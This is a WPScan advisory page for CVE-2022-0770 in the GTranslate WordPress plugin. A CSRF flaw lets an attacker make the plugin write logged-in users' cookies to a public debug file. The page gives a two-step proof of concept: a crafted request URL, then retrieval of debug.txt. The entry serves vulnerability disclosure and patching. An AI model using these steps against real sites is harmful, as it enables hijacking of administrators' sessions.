WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Translate WordPress with GTranslate < 2.9.9 - CSRF to Account Takeover

Description

The plugin does not have CSRF check in some files, and write debug data such as user's cookies in a publicly accessible file if a specific parameter is used when requesting them. Combining those two issues, an attacker could gain access to a logged in admin cookies by making them open a malicious link or page

Proof of Concept

Make a logged in admin (or any other account you want to gain access to) open

https://example.com/wp-content/plugins/gtranslate/url_addon/gtranslate.php?glang=es&gurl=PoC&enable_debug

Then access https://example.com/wp-content/plugins/gtranslate/url_addon/debug.txt to get the users cookies 

Affects Plugins

gtranslate
Fixed in version 2.9.9

References

CVE
CVE-2022-0770

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Diogo Real

Verified

Yes

WPVDB ID
49abe79c-ab1c-4dbf-824c-8daaac7e079d

Timeline

Publicly Published

2022-03-07 (about 3 months ago)

Added

2022-03-07 (about 3 months ago)

Last Updated

2022-04-08 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us